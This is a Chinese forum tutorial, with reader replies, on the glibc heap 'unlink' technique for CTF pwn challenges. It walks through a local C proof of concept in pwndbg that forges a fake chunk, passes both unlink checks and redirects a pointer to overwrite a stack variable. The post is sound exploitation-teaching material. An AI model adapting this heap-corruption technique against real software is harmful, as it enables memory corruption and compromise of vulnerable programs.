首页
论坛
课程
招聘
[原创]ctf pwn中的unlink exploit(堆利用)
2018-3-1 02:13 14401

[原创]ctf pwn中的unlink exploit(堆利用)

2018-3-1 02:13
14401

unlink简介

unlink的目的是把一个双向链表中的空闲块拿出来,如图(来源ctf-wiki)

也就是

设置 P->fd->bk = P->bk.
设置 P->bk->fd = P->fd.

unlink时执行的检查

以前的unlink是没有检查的,很容易利用,不过现在多了两项检查,所以在利用时候要绕过这些检查。

Function Security Check Error
unlink chunk size是否等于next chunk(内存意义上的)的prev_size corrupted size vs. prev_size
unlink 检查是否P->fd->bk == P 以及 P->bk->fd == P corrupted double-linked list

unlink exploit

准备

通过一个例子来学习一下,这个例子是Heap Exploitation系列的unlink,为了便于理解,我会用gdb详细的调试一下。
首先,编译程序,我使用的系统是ubuntu14.04 64位,将下面的示例代码编译出来,带上-g参数。

sakura@ubuntu:~$ gcc -g unlink.c -o unlink
unlink.c: In function ‘main’:
unlink.c:46:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
   printf("%x\n", chunk1[3]);
   ^
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];

  // First grab two chunks (non fast)
  chunk1 = malloc(0x80);
  chunk2 = malloc(0x80);
  printf("%p\n", &chunk1);
  printf("%p\n", chunk1);
  printf("%p\n", chunk2);

  // Assuming attacker has control over chunk1's contents
  // Overflow the heap, override chunk2's header

  // First forge a fake chunk starting at chunk1
  // Need to setup fd and bk pointers to pass the unlink security check
  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

  // Next modify the header of chunk2 to pass all security checks
  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
  // This results in chunk1 pointer pointing to chunk1 - 3
  // i.e. chunk1[3] now contains chunk1 itself.
  // We then make chunk1 point to some victim's data
  free(chunk2);
  printf("%p\n", chunk1);
  printf("%x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim's data");

  // Overwrite victim's data using chunk1
  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);

  return 0;
}

我使用了一个gdb插件pwndbg(应该是插件吧?),需要安装的话。

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

开始调试

pwndbg> b 20
Breakpoint 1 at 0x400695: file unlink.c, line 20.
pwndbg> r

pwndbg> n

这样就开始malloc第一个chunk了,返回的地址放在rax里,然后存到栈里。

继续看第二个chunk的地址

pwndbg> n


接下来的三条命令其实就是输出我们刚刚调试出来的chunk地址的,所以过掉就行了,不过可以检查一下我们找的是不是对的。

pwndbg> b 25
Breakpoint 2 at 0x4006f3: file unlink.c, line 25.
pwndbg> c
Continuing.
0x7fffffffdd60
0x602010
0x6020a0

然后来详细的说明一下,是怎么unlink exploit的。
假设攻击者已经控制了chunk1的数据,并且可以溢出到chunk2的元数据。
因为我们能够控制chunk1的数据,所以当然可以在chunk1里伪造一个chunk出来。

fake_chunk = (struct chunk_structure *)chunk1;

我们知道,返回给我们的chunk实际上是mem指针,如下图的mem就是chunk1

通过将chunk1强制转换为struct chunk_structure结构体,就伪造出了一个chunk。
相当于

然后我们看一下此时的chunk1的内存。

pwndbg> x /10gx 0x602000
0x602000:    0x0000000000000000    0x0000000000000091
0x602010:    0x0000000000000000    0x0000000000000000
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000

再看一下fake_chunk,地址为0xffffcf80,指向0x0804b008(mem)

pwndbg> p $rbp-0x40
$1 = (void *) 0x7fffffffdd70
pwndbg> x /x 0x7fffffffdd70
0x7fffffffdd70:    0x0000000000602010

通过检查点1

接下来要确保chunk->fd->bk == chunk

  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P

如果不熟悉指针加减运算的,可以参考这篇文章
&chunk1是指存放chunk1这个被分配出来的heap的地址的栈地址,即0x7fffffffdd60

pwndbg> stack 10
00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 ◂— 0x0
01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│      0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add    rbx, 1
04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│      0x7fffffffdd88 ◂— 0x0
06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
08:0040│      0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1
09:0048│      0x7fffffffdda8 ◂— 0x0

此时的chunk1

pwndbg> x /10gx 0x602000
0x602000:    0x0000000000000000    0x0000000000000091
0x602010:    0x0000000000000000    0x0000000000000000
0x602020:    0x00007fffffffdd48    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000

接下来要确保chunk->bk->fd == chunk

  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

此时的chunk1

pwndbg> x /10gx 0x602000
0x602000:    0x0000000000000000    0x0000000000000091
0x602010:    0x0000000000000000<=fake_chunk(mem)    0x0000000000000000
0x602020:    0x00007fffffffdd48<=fake_chunk->fd    0x00007fffffffdd50<=fake_chunk->bk
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000

我相信到这个时候你已经凌乱了,因为我一开始看到这里的时候也挺凌乱的(因为我指针学的不好emmm..)
让我们再理一下。

 

首先观察一下栈段,我们知道我们的变量都是存在栈上的,chunk1,fake_chunk都是指针,指针的值都是一个表示地址空间中某个存储器单元的整数,这也就是我们说的指向

  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
pwndbg> stack 10
00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 ◂— 0x0
01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│      0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add    rbx, 1
04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│      0x7fffffffdd88 ◂— 0x0
06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
08:0040│      0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1
09:0048│      0x7fffffffdda8 ◂— 0x0

chunk1=0x602010
&chunk1=0x7fffffffdd60

 

fake_chunk=0x602010
&fake_chunk=0x7fffffffdd70

 

然后我们再看一下fake_chunk->fd,和fake_chunk_bk的值是多少。

pwndbg> x /10gx 0x602000
0x602000:    0x0000000000000000    0x0000000000000091
0x602010:    0x0000000000000000<=fake_chunk(mem)    0x0000000000000000
0x602020:    0x00007fffffffdd48<=fake_chunk->fd    0x00007fffffffdd50<=fake_chunk->bk
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000

fake_chunk->fd=0x00007fffffffdd48
fake_chunk->bk=0x00007fffffffdd50

 

需要知道的是,fd和bk的类型同样是struct chunk_structure ,也就是说fake->chunk->fd/bk指向的内存也是"*结构体"

struct chunk_structure *fd;
struct chunk_structure *bk;

所以这个指向的"结构体"是这样的。

pwndbg> x /10gx 0x00007fffffffdd48
0x7fffffffdd48:    0x00007ffff7ffe1c8->prev_size    0x0000000000000003->size
0x7fffffffdd58:    0x00000000004006f3->fd    0x0000000000602010->bk

0x7fffffffdd68:    0x00000000006020a0    0x0000000000602010
0x7fffffffdd78:    0x000000000040084d    0x00007fffffffddb0
0x7fffffffdd88:    0x0000000000000000    0x0000000000400800

所以fake_chunk->fd->bk=0x0000000000602010=chunk1
而我们知道fake_chunk=chunk1。

fake_chunk = (struct chunk_structure *)chunk1;

所以这样就过了chunk->fd->bk==chunk的检查
chunk->bk->fd == chunk也是同理的

通过检查点2

然后为了通过检查点chunk size是否等于next chunk(内存意义上的)的prev_size,我们需要修改chunk2的prev_size

chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit
pwndbg> x /10gx 0x602090
0x602090:    0x0000000000000080    0x0000000000000090
0x6020a0:    0x0000000000000000    0x0000000000000000
0x6020b0:    0x0000000000000000    0x0000000000000000
0x6020c0:    0x0000000000000000    0x0000000000000000
0x6020d0:    0x0000000000000000    0x0000000000000000

触发unlink

当我们free(chunk2)的时候,因为prev_in_use位被置0,代表前一个chunk(也就是我们的fake_chunk)也处于free,连续的空闲堆块合并而进行unlink操作。
也就是设置

P->fd->bk = P->bk.
P->bk->fd = P->fd.

可以看出fake_chunk->fd->bk和fake_chunk->bk->fd都指向(或者说等于)chunk1,即0x0000000000602010,所以只需要关注第二次操作即可。

 

P->fd即fake_chunk->fd=0x00007fffffffdd48
所以unlink之后,P->bk->fd由0x602010变为0x00007fffffffdd48

00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 <=P->bk->fd
01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│      0x7fffffffdd78 —▸ 0x602090 ◂— 0x80
04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│      0x7fffffffdd88 ◂— 0x0
06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

变为

00:0000│ rsp  0x7fffffffdd60 —▸ 0x7fffffffdd48 <=P->bk->fd
01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│      0x7fffffffdd78 —▸ 0x602090 ◂— 0x80
04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│      0x7fffffffdd88 ◂— 0x0
06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

也就是说现在chunk1的值变成了0x7fffffffdd48,chunk1[3]实际上就是chunk1。

45      printf("%p\n", chunk1);
46      printf("%x\n", chunk1[3]);

...

pwndbg> b 47
Breakpoint 3 at 0x400788: file unlink.c, line 47.
pwndbg> c
Continuing.
0x7fffffffdd48
ffffdd48

exp

改变chunk1[3]就是改变chunk1,在本例中, chunk1用于指向变量data并且通过改变chunk1从而影响到了该变量。

chunk1[3] = (unsigned long long)data;

可以看出现在chunk1的值已经变成了data的地址0x7fffffffdd80

00:0000│ rdx rsp  0x7fffffffdd60 —▸ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

改变data的值为Victim's data

strcpy(data, "Victim's data");

在内存中查看

pwndbg> x /s 0x7fffffffdd80
0x7fffffffdd80:    "Victim's data"

现在的chunk1已经指向data了,通过给chunk1[0]赋值,其实就是给data赋值。

chunk1[0] = 0x002164656b636168LL;

查看内存

pwndbg> x /s 0x7fffffffdd80
0x7fffffffdd80:    "hacked!"

果然已经变了。
字符串已经变成了hacked!

pwndbg> n
hacked!

不知道这些指针跳来跳去的有没有把你绕晕呢~如果晕了的话就自己调一调吧~

参考链接

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html


[公告]《CTF高级解混淆》训练营,国际顶尖CTF战队大牛亲自授课,助你快速成长!

最后于 2018-3-7 10:13 被sakura零编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (12)
雪    币: 5468
活跃值: 活跃值 (214)
能力值: ( LV17,RANK:1155 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-3-1 06:33
2
0
这是我见过的把unlink讲的最清楚的文章了,哈哈
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-3-1 09:32
3
0
holing 这是我见过的把unlink讲的最清楚的文章了,哈哈
去年第一次看unlink的时候各种晕...
最近整理堆资料就写一写(拿gdb写文章系列...
雪    币: 171
活跃值: 活跃值 (11)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
iromise 活跃值 1 2018-3-5 19:27
4
0
你的第一个图使用了  CTF  Wiki  的图片,麻烦  link  一下  CTF  Wiki,谢谢。
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-3-7 10:10
5
0
iromise 你的第一个图使用了 CTF Wiki 的图片,麻烦 link 一下 CTF Wiki,谢谢。
嗯呐~我一会补一下~另外师傅们的ctf  wiki确实很棒..不过能提个建议么..wiki里给的题目讲解能不能附上题目的二进制文件..有的我都找不到..
雪    币: 171
活跃值: 活跃值 (11)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
iromise 活跃值 1 2018-3-15 19:21
6
0
那个题目都是在仓库中对应目录下的,https://github.com/ctf-wiki/ctf-wiki/tree/master/docs/pwn/heap/example  。同时也希望可以贡献一些内容给  Wiki,让  Wiki  更利于初学者学习。
雪    币: 994
活跃值: 活跃值 (18)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
zhakul 活跃值 2018-9-17 14:57
7
0
话说第一张unlink图第三部分BK->fd=FD那里是不是错了。。。。
最后于 2018-9-17 14:57 被zhakul编辑 ,原因:
雪    币: 202
活跃值: 活跃值 (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Mr.Lee_391780 活跃值 2018-11-2 19:08
8
0
给作者加鸡腿!
雪    币: 199
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
callmexxaqer 活跃值 2018-11-12 17:36
9
0
你这利用条件算不算太苛刻?

需要知道很多地址信息才行;如果没有地址信息,只有chunk溢出,能绕过unlink吗
雪    币: 1012
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Hauk 活跃值 2018-11-15 15:32
10
1
callmexxaqer 你这利用条件算不算太苛刻? 需要知道很多地址信息才行;如果没有地址信息,只有chunk溢出,能绕过unlink吗
绕过unlink的关键应该是设置 fake chunk的fd和bk两个位置,然后这两个位置一般都是固定给好的。
没有地址信息也能进行 ,我想博主是因为要给我们演示原理
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-11-22 10:50
11
0
Hauk 绕过unlink的关键应该是设置 fake chunk的fd和bk两个位置,然后这两个位置一般都是固定给好的。 没有地址信息也能进行 ,我想博主是因为要给我们演示原理
是的。。不然我闲的啊打印这么多log
雪    币: 4500
活跃值: 活跃值 (375)
能力值: (RANK:30 )
在线值:
发帖
回帖
粉丝
CCkicker 活跃值 2018-11-22 10:52
12
0
sakura零 是的。。不然我闲的啊打印这么多log
 楼主太耿直了,哈哈哈
雪    币: 249
活跃值: 活跃值 (66)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Vorblock 活跃值 2019-5-1 20:05
13
0
想学习一下,图全部挂了。。。
游客
登录 | 注册 方可回帖
返回